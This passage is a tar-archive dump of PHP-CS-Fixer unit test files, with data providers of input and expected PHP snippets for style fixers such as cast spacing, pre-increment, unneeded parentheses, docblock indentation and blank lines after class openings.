use Foo\Zar\Quxx;

$a = new Bar1();
$a = new Bar2();
$a = new Baz();
$a = new Qux();
EOF
        ;

        $this->makeTest($expected, $input);
    }

    /**
     * @dataProvider provideWithoutChanges
     */
    public function testWithoutChanges($expected)
    {
        $this->makeTest($expected);
    }

    public function provideWithoutChanges()
    {
        return array(
            array(
 <<<'EOF'
<?php

$c = 1;

$a = new Baz();
$a = new Qux();
EOF
            ),
            array(
                '<?php use A\B;',
            ),
            array(
                '<?php use A\B?>',
            ),
            array(
                '<?php use A\B;?>',
            ),
        );
    }

    /**
     * @dataProvider provide70Cases
     * @requires PHP 7.0
     */
    public function test70($expected, $input = null)
    {
        $this->makeTest($expected, $input);
    }

    public function provide70Cases()
    {
        return array(
            array(
'<?php
use some\a\{ClassA, ClassB, ClassC as C};
use function some\a\{fn_a, fn_b, fn_c};
use const some\a\{ConstA, ConstB, ConstC};
',
'<?php
use some\a\{ClassA, ClassB, ClassC as C};

use function some\a\{fn_a, fn_b, fn_c};

use const some\a\{ConstA, ConstB, ConstC};
',
            ),
        );
    }
}
php-cs-fixer/Symfony/CS/Tests/Fixer/Symfony/SpacesCastFixerTest.php000066600000004365151456236460021275 0ustar00<?php

/*
 * This file is part of the PHP CS utility.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * This source file is subject to the MIT license that is bundled
 * with this source code in the file LICENSE.
 */

namespace Symfony\CS\Tests\Fixer\Symfony;

use Symfony\CS\Tests\Fixer\AbstractFixerTestBase;

class SpacesCastFixerTest extends AbstractFixerTestBase
{
    /**
     * @dataProvider testFixCastsProvider
     */
    public function testFixCasts($expected, $input = null)
    {
        $this->makeTest($expected, $input);
    }

    public function testFixCastsProvider()
    {
        return array(
            array(
                '<?php echo "( int ) $foo";',
            ),
            array(
                '<?php $bar = (int) $foo;',
                '<?php $bar = ( int)$foo;',
            ),
            array(
                '<?php $bar = (int) $foo;',
                '<?php $bar = (	int)$foo;',
            ),
            array(
                '<?php $bar = (int) $foo;',
                '<?php $bar = (int)	$foo;',
            ),
            array(
                '<?php $bar = (string) (int) $foo;',
                '<?php $bar = ( string )( int )$foo;',
            ),
            array(
                '<?php $bar = (string) (int) $foo;',
                '<?php $bar = (string)(int)$foo;',
            ),
            array(
                '<?php $bar = (string) (int) $foo;',
                '<?php $bar = ( string   )    (   int )$foo;',
            ),
            array(
                '<?php $bar = (string) $foo;',
                '<?php $bar = ( string )   $foo;',
            ),
            array(
                '<?php $bar = (float) Foo::bar();',
                '<?php $bar = (float )Foo::bar();',
            ),
            array(
                '<?php $bar = Foo::baz((float) Foo::bar());',
                '<?php $bar = Foo::baz((float )Foo::bar());',
            ),
            array(
                '<?php $bar = $query["params"] = (array) $query["params"];',
                '<?php $bar = $query["params"] = (array)$query["params"];',
            ),
            array(
                "<?php \$bar = (int)\n \$foo;",
            ),
            array(
                "<?php \$bar = (int)\r \$foo;",
            ),
        );
    }
}
php-cs-fixer/Symfony/CS/Tests/Fixer/Symfony/PreIncrementFixerTest.php000066600000005144151456236460021633 0ustar00<?php

/*
 * This file is part of the PHP CS utility.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * This source file is subject to the MIT license that is bundled
 * with this source code in the file LICENSE.
 */

namespace Symfony\CS\Tests\Fixer\Symfony;

use Symfony\CS\Tests\Fixer\AbstractFixerTestBase;

/**
 * @author Gregor Harlan <gharlan@web.de>
 */
class PreIncrementFixerTest extends AbstractFixerTestBase
{
    /**
     * @dataProvider provideExamples
     */
    public function testFix($expected, $input = null)
    {
        $this->makeTest($expected, $input);
    }

    public function provideExamples()
    {
        return array(
            array(
                '<?php ++$a;',
                '<?php $a++;',
            ),
            array(
                '<?php ++$$a;',
                '<?php $$a++;',
            ),
            array(
                '<?php ++${"a"};',
                '<?php ${"a"}++;',
            ),
            array(
                '<?php --$a;',
                '<?php $a--;',
            ),
            array(
                '<?php foo(); ++$a;',
                '<?php foo(); $a++;',
            ),
            array(
                '<?php if (true) { ++$a; }',
                '<?php if (true) { $a++; }',
            ),
            array(
                '<?php if (true) {} ++$a;',
                '<?php if (true) {} $a++;',
            ),
            array(
                '<?php for ($i = 0; $i < $count; ++$i) {}',
                '<?php for ($i = 0; $i < $count; $i++) {}',
            ),
            array(
                '<?php ++$a->foo;',
                '<?php $a->foo++;',
            ),
            array(
                '<?php ++$a->{"foo"};',
                '<?php $a->{"foo"}++;',
            ),
            array(
                '<?php ++$a->$b;',
                '<?php $a->$b++;',
            ),
            array(
                '<?php ++Foo\Bar::$bar;',
                '<?php Foo\Bar::$bar++;',
            ),
            array(
                '<?php ++$a[0];',
                '<?php $a[0]++;',
            ),
            array(
                '<?php ++$a[$b];',
                '<?php $a[$b]++;',
            ),
            array(
                '<?php ++${$a}->{$b."foo"}->bar[$c]->$baz;',
                '<?php ${$a}->{$b."foo"}->bar[$c]->$baz++;',
            ),

            array('<?php $a = $b++;'),
            array('<?php $a + $b++;'),
            array('<?php $a++ + $b;'),
            array('<?php foo($b++);'),
            array('<?php foo($a, $b++);'),
            array('<?php $a[$b++];'),
            array('<?php echo $a++;'),
        );
    }
}
php-cs-fixer/Symfony/CS/Tests/Fixer/Symfony/UnneededControlParenthesesFixerTest.php000066600000024536151456236460024540 0ustar00<?php

/*
 * This file is part of the PHP CS utility.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * This source file is subject to the MIT license that is bundled
 * with this source code in the file LICENSE.
 */

namespace Symfony\CS\Tests\Fixer\Symfony;

use Symfony\CS\Fixer\Symfony\UnneededControlParenthesesFixer;
use Symfony\CS\Tests\Fixer\AbstractFixerTestBase;

/**
 * @author Sullivan Senechal <soullivaneuh@gmail.com>
 *
 * @internal
 */
final class UnneededControlParenthesesFixerTest extends AbstractFixerTestBase
{
    private static $defaultStatements = null;

    public static function setUpBeforeClass()
    {
        $controlStatementsProperty = new \ReflectionProperty('Symfony\CS\Fixer\Symfony\UnneededControlParenthesesFixer', 'controlStatements');
        $controlStatementsProperty->setAccessible(true);
        self::$defaultStatements = $controlStatementsProperty->getValue(null);
    }

    /**
     * @dataProvider provideFixCases
     */
    public function testFix($expected, $input = null)
    {
        // PHP <5.5 BC
        if (version_compare(PHP_VERSION, '5.5', '<') && false !== strpos($input, 'yield')) {
            $input = null;
        }

        // Default config. Fixes all statements.
        UnneededControlParenthesesFixer::configure(self::$defaultStatements);
        $this->makeTest($expected, $input);

        // Empty array config. Should not fix anything.
        UnneededControlParenthesesFixer::configure(array());
        $this->makeTest($expected, null);

        // Test with only one statement
        foreach (self::$defaultStatements as $statement) {
            UnneededControlParenthesesFixer::configure(array($statement));
            $this->makeTest(
                $expected,
                $input && false !== strpos($input, $statement) ? $input : null
            );
        }
    }

    public function provideFixCases()
    {
        return array(
            array(
                '<?php
                yield "prod";
                ',
            ),
            array(
                '<?php
                yield (1 + 2) * 10;
                ',
            ),
            array(
                '<?php
                yield (1 + 2) * 10;
                ',
                '<?php
                yield ((1 + 2) * 10);
                ',
            ),
            array(
                '<?php
                yield "prod";
                ',
                '<?php
                yield ("prod");
                ',
            ),
            array(
                '<?php
                yield 2;
                ',
                '<?php
                yield(2);
                ',
            ),
            array(
                '<?php
                $a = (yield $x);
                ',
                '<?php
                $a = (yield($x));
                ',
            ),
            array(
                '<?php
                clone $object;
                ',
            ),
            array(
                '<?php
                clone new Foo();
                ',
            ),
            array(
                '<?php
                $var = clone ($obj1 ?: $obj2);
                ',
            ),
            array(
                '<?php
                $var = clone ($obj1 ? $obj1->getSubject() : $obj2);
                ',
            ),
            array(
                '<?php
                clone $object;
                ',
                '<?php
                clone ($object);
                ',
            ),
            array(
                '<?php
                clone new Foo();
                ',
                '<?php
                clone (new Foo());
                ',
            ),
            array(
                '<?php
                foo(clone $a);
                foo(clone $a, 1);
                $a = $b ? clone $b : $c;
                ',
                '<?php
                foo(clone($a));
                foo(clone($a), 1);
                $a = $b ? clone($b) : $c;
                ',
            ),
            array(
                '<?php
                echo "foo";
                print "foo";
                ',
            ),
            array(
                '<?php
                echo (1 + 2) . $foo;
                print (1 + 2) . $foo;
                ',
            ),
            array(
                '<?php
                echo (1 + 2) * 10, "\n";
                ',
            ),
            array(
                '<?php echo (1 + 2) * 10, "\n" ?>',
            ),
            array(
                '<?php
                echo (1 + 2) * 10, "\n";
                ',
            ),
            array(
                '<?php
                echo (1 + 2) * 10, "\n";
                ',
            ),
            array(
                '<?php echo "foo" ?>',
                '<?php echo ("foo") ?>',
            ),
            array(
                '<?php print "foo" ?>',
                '<?php print ("foo") ?>',
            ),
            array(
                '<?php
                echo "foo";
                print "foo";
                ',
                '<?php
                echo ("foo");
                print ("foo");
                ',
            ),
            array(
                '<?php
                echo "foo";
                print "foo";
                ',
                '<?php
                echo("foo");
                print("foo");
                ',
            ),
            array(
                '<?php
                echo 2;
                print 2;
                ',
                '<?php
                echo(2);
                print(2);
                ',
            ),
            array(
                '<?php
                echo $a ? $b : $c;
                echo ($a ? $b : $c) ? $d : $e;
                echo 10 * (2 + 3);
                echo ("foo"), ("bar");
                echo my_awesome_function("foo");
                echo $this->getOutput(1);
                ',
                '<?php
                echo ($a ? $b : $c);
                echo ($a ? $b : $c) ? $d : $e;
                echo 10 * (2 + 3);
                echo ("foo"), ("bar");
                echo my_awesome_function("foo");
                echo $this->getOutput(1);
                ',
            ),
            array(
                '<?php
                return "prod";
                ',
            ),
            array(
                '<?php
                return (1 + 2) * 10;
                ',
            ),
            array(
                '<?php
                return (1 + 2) * 10;
                ',
                '<?php
                return ((1 + 2) * 10);
                ',
            ),
            array(
                '<?php
                return "prod";
                ',
                '<?php
                return ("prod");
                ',
            ),
            array(
                '<?php
                return $x;
                ',
                '<?php
                return($x);
                ',
            ),
            array(
                '<?php
                return 2;
                ',
                '<?php
                return(2);
                ',
            ),
            array(
                '<?php
                switch ($a) {
                    case "prod":
                        break;
                }
                ',
            ),
            array(
                '<?php
                switch ($a) {
                    case "prod":
                        break;
                }
                ',
                '<?php
                switch ($a) {
                    case ("prod"):
                        break;
                }
                ',
            ),
            array(
                '<?php
                switch ($a) {
                    case $x;
                }
                ',
                '<?php
                switch ($a) {
                    case($x);
                }
                ',
            ),
            array(
                '<?php
                switch ($a) {
                    case 2;
                }
                ',
                '<?php
                switch ($a) {
                    case(2);
                }
                ',
            ),
            array(
                '<?php
                $a = 5.1;
                $b = 1.0;
                switch($a) {
                    case (int) $a < 1 : {
                        echo "leave alone";
                        break;
                    }
                    case $a < 2/* test */: {
                        echo "fix 1";
                        break;
                    }
                    case 3 : {
                        echo "fix 2";
                        break;
                    }
                    case /**//**/ // test
                        4
                        /**///
                        /**/: {
                        echo "fix 3";
                        break;
                    }
                    case ((int)$b) + 4.1: {
                        echo "fix 4";
                        break;
                    }
                    case ($b + 1) * 2: {
                        echo "leave alone";
                        break;
                    }
                }
                ',
                '<?php
                $a = 5.1;
                $b = 1.0;
                switch($a) {
                    case (int) $a < 1 : {
                        echo "leave alone";
                        break;
                    }
                    case ($a < 2)/* test */: {
                        echo "fix 1";
                        break;
                    }
                    case (3) : {
                        echo "fix 2";
                        break;
                    }
                    case /**/(/**/ // test
                        4
                        /**/)//
                        /**/: {
                        echo "fix 3";
                        break;
                    }
                    case (((int)$b) + 4.1): {
                        echo "fix 4";
                        break;
                    }
                    case ($b + 1) * 2: {
                        echo "leave alone";
                        break;
                    }
                }
                ',
            ),
        );
    }

    public static function tearDownAfterClass()
    {
        UnneededControlParenthesesFixer::configure(self::$defaultStatements);
    }
}
php-cs-fixer/Symfony/CS/Tests/Fixer/Symfony/DoubleArrowMultilineWhitespacesFixerTest.php000066600000003460151456236460025547 0ustar00<?php

/*
 * This file is part of the PHP CS utility.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * This source file is subject to the MIT license that is bundled
 * with this source code in the file LICENSE.
 */

namespace Symfony\CS\Tests\Fixer\Symfony;

use Symfony\CS\Tests\Fixer\AbstractFixerTestBase;

/**
 * @author Carlos Cirello <carlos.cirello.nl@gmail.com>
 * @author Dariusz Rumiński <dariusz.ruminski@gmail.com>
 * @author Graham Campbell <graham@mineuk.com>
 */
class DoubleArrowMultilineWhitespacesFixerTest extends AbstractFixerTestBase
{
    /**
     * @dataProvider provideFixCases
     */
    public function testFix($expected, $input = null)
    {
        $this->makeTest($expected, $input);
    }

    public function provideFixCases()
    {
        return array(
            array(
                '<?php
    $arr = array(
        $a => array(1),
        $a => array(0 => array())
    );',
                '<?php
    $arr = array(
        $a =>
            array(1),
        $a =>
            array(0 =>
            array())
    );',
            ),
            array(
                '<?php
    $a = array(
        "aaaaaa"    =>    "b",
        "c" => "d",
        "eeeeee" =>    array(),
        "ggg" => array(),
        "hh"      => [],
    );',
                '<?php
    $a = array(
        "aaaaaa"    =>    "b",
        "c"
            =>
                "d",
        "eeeeee" =>    array(),
        "ggg" =>
            array(),
        "hh"      =>
            [],
    );',
            ),
            array(
                '<?php
    $hello = array(
        "foo" =>
        // hello there
        "value",
        "hi"  => 1,
        /*
         * Description.
         */
        "ha"  =>
        /**
         * Description.
         */
        array()
    );',
            ),
        );
    }
}
php-cs-fixer/Symfony/CS/Tests/Fixer/Symfony/UnalignEqualsFixerTest.php000066600000004621151456236460022007 0ustar00<?php

/*
 * This file is part of the PHP CS utility.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * This source file is subject to the MIT license that is bundled
 * with this source code in the file LICENSE.
 */

namespace Symfony\CS\Tests\Fixer\Symfony;

use Symfony\CS\Tests\Fixer\AbstractFixerTestBase;

/**
 * @author Dariusz Rumiński <dariusz.ruminski@gmail.com>
 */
class UnalignEqualsFixerTest extends AbstractFixerTestBase
{
    /**
     * @dataProvider provideFixCases
     */
    public function testFix($expected, $input = null)
    {
        $this->makeTest($expected, $input);
    }

    public function provideFixCases()
    {
        return array(
            array(
                '<?php
    $a = 1;
    $bbbb = \'
    $cccccccc = 3;
    \';',
                '<?php
    $a    = 1;
    $bbbb = \'
    $cccccccc = 3;
    \';',
            ),
            array(
                '<?php
    $ccc = 1;
    $bb = 1;
    $a = 1;

    /*
    Others alignments
     */
    $a[$b = 1] = 1;
    $ab[$bc = 1] = 1;
    $abc[$bcd = 1] = 1;
    $a[$b] = 1;
    $ab[$bc] = 1;
    $abc[$bcd] = 1;

    if ($a = 1) {
        $ccc = 1;
        $bb = 1;
        $a = 1;
    }

    function a($a = 1, $b = 2, $c = 3)
    {
        $a[$b = 1] = 1;
        $ab[$bc = 1] = 1;
        $abc[$bcd = 1] = 1;
    }

    function b(
        $a = 1,
        $bbb = 2,
        $c = 3
    ) {
        $a[$b = 1] = 1;
        $ab[$bc = 1] = 1;
        $abc[$bcd = 1] = 1;
    }

    while (false) {
        $aa = 2;
        $a[$b] = array();
    }

    for ($i = 0; $i < 10; $i++) {
        $aa = 2;
        $a[$b] = array();
    }',
                '<?php
    $ccc = 1;
    $bb  = 1;
    $a   = 1;

    /*
    Others alignments
     */
    $a[$b = 1]     = 1;
    $ab[$bc = 1]   = 1;
    $abc[$bcd = 1] = 1;
    $a[$b]         = 1;
    $ab[$bc]       = 1;
    $abc[$bcd]     = 1;

    if ($a = 1) {
        $ccc = 1;
        $bb  = 1;
        $a   = 1;
    }

    function a($a = 1, $b = 2, $c = 3)
    {
        $a[$b = 1]     = 1;
        $ab[$bc = 1]   = 1;
        $abc[$bcd = 1] = 1;
    }

    function b(
        $a = 1,
        $bbb = 2,
        $c = 3
    ) {
        $a[$b = 1]     = 1;
        $ab[$bc = 1]   = 1;
        $abc[$bcd = 1] = 1;
    }

    while (false) {
        $aa    = 2;
        $a[$b] = array();
    }

    for ($i = 0; $i < 10; $i++) {
        $aa    = 2;
        $a[$b] = array();
    }',
            ),
        );
    }
}
php-cs-fixer/Symfony/CS/Tests/Fixer/Symfony/PhpdocIndentFixerTest.php000066600000012716151456236460021622 0ustar00<?php

/*
 * This file is part of the PHP CS utility.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * This source file is subject to the MIT license that is bundled
 * with this source code in the file LICENSE.
 */

namespace Symfony\CS\Tests\Fixer\Symfony;

use Symfony\CS\Tests\Fixer\AbstractFixerTestBase;

/**
 * @author Ceeram <ceeram@cakephp.org>
 */
class PhpdocIndentFixerTest extends AbstractFixerTestBase
{
    /**
     * @dataProvider provideDocblocks
     */
    public function testFixIndent($expected, $input = null)
    {
        $this->makeTest($expected, $input);
    }

    public function provideDocblocks()
    {
        $cases = array();

        $cases[] = array('<?php /** @var Foo $foo */ ?>');

        $cases[] = array('<?php /** foo */');

        $cases[] = array(
            '<?php
/**
 * Do not indent
 */

/**
 * Do not indent this
 */
class DocBlocks
{
    /**
     *Test that attribute docblocks are indented
     */
    protected $indent = false;

    /**
     * Test that method docblocks are indented.
     */
    public function test() {}
}',
            '<?php
/**
 * Do not indent
 */

/**
 * Do not indent this
 */
class DocBlocks
{
/**
 *Test that attribute docblocks are indented
 */
    protected $indent = false;

/**
 * Test that method docblocks are indented.
 */
    public function test() {}
}',
        );

        $cases[] = array(
            '<?php
class DocBlocks
{
    /**
     * Test constants
     */
    const INDENT = 1;

    /**
     * Test with var keyword
     */
    var $oldStyle = false;

    /**
     * Test static
     */
    public static function test1() {}

    /**
     * Test static first.
     */
    static public function test2() {}

    /**
     * Test final first.
     */
    final public function test3() {}

    /**
     * Test no keywords
     */
    function test4() {}
}',
            '<?php
class DocBlocks
{
/**
 * Test constants
 */
    const INDENT = 1;

/**
 * Test with var keyword
 */
    var $oldStyle = false;

/**
 * Test static
 */
    public static function test1() {}

/**
 * Test static first.
 */
    static public function test2() {}

/**
 * Test final first.
 */
    final public function test3() {}

/**
 * Test no keywords
 */
    function test4() {}
}',
        );

        $cases[] = array(
            '<?php
/**
 * Final class should also not be indented
 */
final class DocBlocks
{
    /**
     * Test with var keyword
     */
    var $oldStyle = false;
}',
            '<?php
/**
 * Final class should also not be indented
 */
final class DocBlocks
{
/**
 * Test with var keyword
 */
    var $oldStyle = false;
}',
        );

        $cases[] = array(
            '<?php
    if (1) {
        class Foo {
            /**
             * Foo
             */
            function foo() {}

            /**
             * Bar
             */
            function bar() {}
        }
    }',
            '<?php
    if (1) {
        class Foo {
/**
 * Foo
 */
            function foo() {}

                        /**
                         * Bar
                         */
            function bar() {}
        }
    }',
        );

        $cases[] = array(
            '<?php
/**
 * Variable
 */
$variable = true;

/**
 * Partial docblock fix
 */
$partialFix = true;

    /**
     * Other partial docblock fix
     */
    $otherPartial = true;

    /** Single line */
    $single = true;

    /**
     * Function
     */
    function something()
    {
        /**
         * Inside functions
         */
        return;
    }

    /**
     * function call
     */
    something();

    /**
     * Control structure
     * @var \Sqlite3 $sqlite
     */
    foreach($connections as $sqlite) {
        $sqlite->open();
    }',
            '<?php
    /**
     * Variable
     */
$variable = true;

/**
 * Partial docblock fix
 */
$partialFix = true;

    /**
    * Other partial docblock fix
    */
    $otherPartial = true;

/** Single line */
    $single = true;

/**
 * Function
 */
    function something()
    {
/**
 * Inside functions
 */
        return;
    }

/**
 * function call
 */
    something();

/**
 * Control structure
 * @var \Sqlite3 $sqlite
 */
    foreach($connections as $sqlite) {
        $sqlite->open();
    }',
        );

        $cases[] = array(
            '<?php
    $user = $event->getForm()->getData();  /** @var User $user */
    echo "Success";',
        );

        $cases[] = array(
            '<?php
    $user = $event->getForm()->getData();/** @var User $user */
    echo "Success";',
        );

        $cases[] = array(
            "<?php
class DocBlocks
{
\t/**
\t *Test that attribute docblocks are indented
\t */
\tprotected \$indent = false;

\t/**
\t * Test that method docblocks are indented.
\t */
\tpublic function test() {}
}",
            "<?php
class DocBlocks
{
/**
 *Test that attribute docblocks are indented
 */
\tprotected \$indent = false;

/**
 * Test that method docblocks are indented.
 */
\tpublic function test() {}
}",
        );

        $cases[] = array(
            '<?php
/**
 * Used to write a value to a session key.
 *
 * ...
 */
function write($name) {}
',
            "<?php
\t/**
 * Used to write a value to a session key.
 *
 * ...
 */
function write(\$name) {}
",
        );

        $cases[] = array(
            '<?php
    class Foo
    {
        public function bar()
        {
            /**
             * baz
             */
        }
    }',
        );

        $cases[] = array(
            '<?php
/**
 * docs
 */

// comment
$foo = $bar;
',
        );

        return $cases;
    }
}
php-cs-fixer/Symfony/CS/Tests/Fixer/Symfony/NoBlankLinesAfterClassOpeningFixerTest.php000066600000004542151456236460025050 0ustar00<?php

/*
 * This file is part of the PHP CS utility.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * This source file is subject to the MIT license that is bundled
 * with this source code in the file LICENSE.
 */

namespace Symfony\CS\Tests\Fixer\Symfony;

use Symfony\CS\Tests\Fixer\AbstractFixerTestBase;

/**
 * @author Ceeram <ceeram@cakephp.org>
 */
class NoBlankLinesAfterClassOpeningFixerTest extends AbstractFixerTestBase
{
    /**
     * @dataProvider provideCases
     */
    public function testFix($expected, $input = null)
    {
        $this->makeTest($expected, $input);
    }

    /**
     * @requires PHP 5.4
     * @dataProvider provideTraits
     */
    public function testFixTraits($expected, $input = null)
    {
        $this->makeTest($expected, $input);
    }

    public function provideCases()
    {
        $cases = array();

        $cases[] = array(
            '<?php
class Good
{
    public function firstMethod()
    {
        //code here
    }
}',
                '<?php
class Good
{

    public function firstMethod()
    {
        //code here
    }
}',
        );
        $cases[] = array(
            '<?php
class Good
{
    /**
     * Also no blankline before DocBlock
     */
    public function firstMethod()
    {
        //code here
    }
}',
                '<?php
class Good
{

    /**
     * Also no blankline before DocBlock
     */
    public function firstMethod()
    {
        //code here
    }
}',
        );

        $cases[] = array(
            '<?php
interface Good
{
    /**
     * Also no blankline before DocBlock
     */
    public function firstMethod();
}',
            '<?php
interface Good
{

    /**
     * Also no blankline before DocBlock
     */
    public function firstMethod();
}',
        );

        // check if some fancy whitespaces aren't modified
        $cases[] = array(
            '<?php
class Good
{public



    function firstMethod()
    {
        //code here
    }
}',
        );

        return $cases;
    }

    public function provideTraits()
    {
        $cases = array();

        $cases[] = array(
            '<?php
trait Good
{
    /**
     * Also no blankline before DocBlock
     */
    public function firstMethod() {}
}',
            '<?php
trait Good
{

    /**
     * Also no blankline before DocBlock
     */
    public function firstMethod() {}
}',
        );

        return $cases;
    }
}
php-cs-fixer/Symfony/CS/Tests/Fixer/Symfony/PhpdocToCommentFixerTest.php000066600000021425151456236460022303 0ustar00<?php

/*
 * This file is part of the PHP CS utility.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * This source file is subject to the MIT license that is bundled
 * with this source code in the file LICENSE.
 */

namespace Symfony\CS\Tests\Fixer\Symfony;

use Symfony\CS\Tests\Fixer\AbstractFixerTestBase;

/**
 * @author Ceeram <ceeram@cakephp.org>
 */
class PhpdocToCommentFixerTest extends AbstractFixerTestBase
{
    /**
     * @dataProvider provideDocblocks
     */
    public function testFix($expected, $input = null)
    {
        $this->makeTest($expected, $input);
    }

    /**
     * @requires PHP 5.4
     * @dataProvider provideTraits
     */
    public function testFixTraits($expected, $input = null)
    {
        $this->makeTest($expected, $input);
    }

    public function provideDocblocks()
    {
        $cases = array();

        $cases[] = array(
            '<?php
/**
 * Do not convert this
 */
 namespace Docs;

/**
 * Do not convert this
 */
class DocBlocks
{
    /**
     * Do not convert this
     */
    const STRUCTURAL = true;

    /**
     * Do not convert this
     */
    protected $indent = false;

    /**
     * Do not convert this
     */
    public function test() {}

    /**
     * Do not convert this
     */
    private function testPrivate() {}

    /**
     * Do not convert this
     */
    function testNoVisibility() {}
}',
        );

        $cases[] = array(
            '<?php namespace Docs;

/**
 * Do not convert this
 */

/**
 * Do not convert this
 */
class DocBlocks{}
',
        );

        $cases[] = array(
            '<?php

/**
 * Do not convert this
 */

namespace Foo;
',
        );

        $cases[] = array(
            '<?php
$first = true;// needed because by default first docblock is never fixed.

/**
 * Do not convert this
 */
abstract class DocBlocks
{

    /**
     * Do not convert this
     */
    abstract public function test();
}',
        );

        $cases[] = array(
            '<?php
$first = true;// needed because by default first docblock is never fixed.

/**
 * Do not convert this
 */
interface DocBlocks
{
    public function test();
}',
        );

        $cases[] = array(
            '<?php
namespace NS;

/**
 * Do not
 */
final class Foo
{
}',
        );

        $cases[] = array(
            '<?php
$first = true;// needed because by default first docblock is never fixed.

/**
 * Do not convert this
 */
require "require.php";

/**
 * Do not convert this
 */
require_once "require_once.php";

/**
 * Do not convert this
 */
include "include.php";

/**
 * Do not convert this
 */
include_once "include_once.php";
',
        );

        $cases[] = array(
            '<?php
$first = true;// needed because by default first docblock is never fixed.

/**
 * Do not convert this
 *
 * @var bool $local
 */
$local = true;
',
        );

        $cases[] = array(
            '<?php
$first = true;// needed because by default first docblock is never fixed.

/*
 * This should be a normal comment
 */
$local = true;
',
            '<?php
$first = true;// needed because by default first docblock is never fixed.

/**
 * This should be a normal comment
 */
$local = true;
',
        );

        $cases[] = array(
            '<?php
$first = true;// needed because by default first docblock is never fixed.

/** @var \Sqlite3 $sqlite */
foreach($connections as $sqlite) {
    $sqlite->open($path);
}',
        );

        $cases[] = array(
            '<?php
$first = true;// needed because by default first docblock is never fixed.

/** @var \Sqlite3 $sqlite */
foreach($connections as $key => $sqlite) {
    $sqlite->open($path);
}',
        );

        $cases[] = array(
            '<?php
$first = true;// needed because by default first docblock is never fixed.

/** @var int $key */
foreach($connections as $key => $sqlite) {
    $sqlite->open($path);
}',
        );

        $cases[] = array(
            '<?php
$first = true;// needed because by default first docblock is never fixed.

/* This should not be a docblock */
foreach($connections as $key => $sqlite) {
    $sqlite->open($path);
}',
            '<?php
$first = true;// needed because by default first docblock is never fixed.

/** This should not be a docblock */
foreach($connections as $key => $sqlite) {
    $sqlite->open($path);
}',
        );

        $cases[] = array(
            '<?php
$first = true;// needed because by default first docblock is never fixed.

/* there should be no docblock here */
$sqlite1->open($path);
',
            '<?php
$first = true;// needed because by default first docblock is never fixed.

/** there should be no docblock here */
$sqlite1->open($path);
',
        );

        $cases[] = array(
            '<?php
$first = true;// needed because by default first docblock is never fixed.

/* there should be no docblock here */
$i++;
',
            '<?php
$first = true;// needed because by default first docblock is never fixed.

/** there should be no docblock here */
$i++;
',
        );

        $cases[] = array(
            '<?php
$first = true;// needed because by default first docblock is never fixed.

/** @var int $index */
$index = $a[\'number\'];
',
        );

        $cases[] = array(
            '<?php
$first = true;// needed because by default first docblock is never fixed.

/** @var string $two */
list($one, $two) = explode("," , $csvLines);
',
        );

        $cases[] = array(
            '<?php
$first = true;// needed because by default first docblock is never fixed.

/* This should be a comment */
list($one, $two) = explode("," , $csvLines);
',
            '<?php
$first = true;// needed because by default first docblock is never fixed.

/** This should be a comment */
list($one, $two) = explode("," , $csvLines);
',
        );

        $cases[] = array(
            '<?php
$first = true;// needed because by default first docblock is never fixed.

/** @var int $index */
foreach ($foo->getPairs($c->bar(), $bar) as $index => list($a, $b)) {
    // Do something with $index, $a and $b
}

/** @var \Closure $value */
if (!$value = $this->getValue()) {
    return false;
}

/** @var string $name */
switch ($name = $this->getName()) {
    case "John":
        return false;
    case "Jane":
        return true;
}

/** @var string $content */
while ($content = $this->getContent()) {
    $name .= $content;
}

/** @var int $size */
for($i = 0, $size = count($people); $i < $size; ++$i) {
    $people[$i][\'salt\'] = mt_rand(000000, 999999);
}',
        );

        $cases[] = array(
            '<?php
$first = true;// needed because by default first docblock is never fixed.

/* @var int $wrong */
foreach ($foo->getPairs($c->bar(), $bar) as $index => list($a, $b)) {
    // Do something with $index, $a and $b
}

/* @var \Closure $notValue */
if (!$value = $this->getValue()) {
    return false;
}

/* @var string $notName */
switch ($name = $this->getName()) {
    case "John":
        return false;
    case "Jane":
        return true;
}

/* @var string $notContent */
while ($content = $this->getContent()) {
    $name .= $content;
}

/* @var int $notSize */
for($i = 0, $size = count($people); $i < $size; ++$i) {
    $people[$i][\'salt\'] = mt_rand(000000, 999999);
}',
            '<?php
$first = true;// needed because by default first docblock is never fixed.

/** @var int $wrong */
foreach ($foo->getPairs($c->bar(), $bar) as $index => list($a, $b)) {
    // Do something with $index, $a and $b
}

/** @var \Closure $notValue */
if (!$value = $this->getValue()) {
    return false;
}

/** @var string $notName */
switch ($name = $this->getName()) {
    case "John":
        return false;
    case "Jane":
        return true;
}

/** @var string $notContent */
while ($content = $this->getContent()) {
    $name .= $content;
}

/** @var int $notSize */
for($i = 0, $size = count($people); $i < $size; ++$i) {
    $people[$i][\'salt\'] = mt_rand(000000, 999999);
}',
        );

        $cases[] = array(
            '<?php
/* This should be a comment */
',
            '<?php
/** This should be a comment */
',
        );

        $cases[] = array(
            '<?php
/**
 * This is a page level docblock should stay untouched
 */

echo "Some string";
',
        );

        $cases[] = array(
            '<?php
$first = true;// needed because by default first docblock is never fixed.

/** @var \NumberFormatter $formatter */
static $formatter;
',
        );

        $cases[] = array(
            '<?php
$first = true;// needed because by default first docblock is never fixed.

function getNumberFormatter()
{
    /** @var \NumberFormatter $formatter */
    static $formatter;
}
',
        );

        return $cases;
    }

    public function provideTraits()
    {
        return array(
            array(
                '<?php
$first = true;// needed because by default first docblock is never fixed.

/**
 * Do not convert this
 */
trait DocBlocks
{
    public function test() {}
}',
            ),
        );
    }
}
php-cs-fixer/Symfony/CS/Tests/Fixer/Symfony/IncludeFixerTest.php000066600000011762151456236460020626 0ustar00<?php

/*
 * This file is part of the PHP CS utility.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * This source file is subject to the MIT license that is bundled
 * with this source code in the file LICENSE.
 */

namespace Symfony\CS\Tests\Fixer\Symfony;

use Symfony\CS\Tests\Fixer\AbstractFixerTestBase;

/**
 * @author Саша Стаменковић <umpirsky@gmail.com>
 */
class IncludeFixerTest extends AbstractFixerTestBase
{
    /**
     * @dataProvider testFixProvider
     */
    public function testFix($expected, $input = null)
    {
        $this->makeTest($expected, $input);
    }

    public function testFixProvider()
    {
        return array(
            array(
